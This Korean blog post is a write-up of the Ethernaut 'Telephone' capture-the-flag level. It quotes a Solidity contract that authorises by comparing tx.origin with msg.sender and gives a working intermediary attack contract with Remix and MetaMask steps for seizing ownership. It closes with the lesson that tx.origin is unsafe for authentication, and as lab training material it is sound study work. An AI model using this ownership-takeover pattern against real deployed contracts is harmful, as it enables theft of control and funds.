가장 먼저 임무를 확인한다.
- 이 컨트랙트의 소유권을 주장하라.
새 인스턴스 가져오기 버튼을 통해서 메타마스크에서 트랜잭션을 발생시키고
인스턴스 주소가 정상적으로 출력이 되는지 확인한다.
이번 레벨에서 임무가 컨트랙트의 소유권을 주장하는 것이기에 현재
컨트랙트의 오너가 누구인지 확인한다.
소스코드 분석
constructor : 생성자는 컨트랙트의 수명 주기에서 처음 실행될 때 한 번 실행된다.
changeOwner : 주소값을 인자로 받으며 public 이다.
계약 외부의 어느 곳에서 이 함수를 실행할 수 있다.
tx.origin 이 msg.sender와 같지 않으면 오너를 변경한다.
tx.origin (address payable) : sender of the transaction (full call chain)
msg.sender (address payable) : sender of the message (curren call)
remix에서 Telephone라는 파일을 만들고 소스코드를 복사 붙여넣기 해준다.
Telephone.sol
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
telephoneAttack.sol
pragma solidity ^0.6.0;
import './telephone.sol';
contract telephoneAttack {
Telephone telContract;
constructor(address _address) public{
telContract = Telephone(_address);
}
function attackContract(address _address) public {
telContract.changeOwner(_address);
}
}
telephoneAttack.sol 컨트랙트를 배포하기 전 Telephone 컨트랙의 주소를 확인하고
ENVIRONMENT가 Web3로 되어있는지 확인하고
자신의 메타마스크 주소를 선택하고
CONTRACT 가 telephoneAttack를 가리키고 있는지 확인
Deploy에 contract.address 로 확인한 주소를 넣고 배포한다.
앞에서 확인한 컨트랙트 오너를 자신으로 바꿔야 하므로 메타마스크에서 자신의
지갑주소를 복사하고
배포된 컨트랙트를 열어보면 사용할 수 있는 함수가 나오는데 여기에
자신의 메타마스크 지갑 주소를 넣어주고 버튼을 클릭하고 트랜잭션을 발생시킨다.
콘솔로 돌아가 오너를 확인하면 자신의 주소로 바뀐 것을 확인할 수 있다.
이더넛으로 돌아가 인스턴스 제출 버튼을 누르고 트랜잭션을 발생시키면
취약점
tx.origin을 사용하여 인증을 해선 안된다.
tx.origin에 대하여 조금 더 알아봐야할 것 같다.
참고자료
https://www.youtube.com/watch?v=JENI43UhaaQ&t=19s
'Ethereum > Ethernaut' 카테고리의 다른 글
6. Delegation (0) | 2021.07.20 |
---|---|
5. Token (0) | 2021.07.20 |
3. Coin Flip (1) | 2021.07.10 |
2.Fallout (0) | 2021.07.09 |
1. Fallback (0) | 2021.07.08 |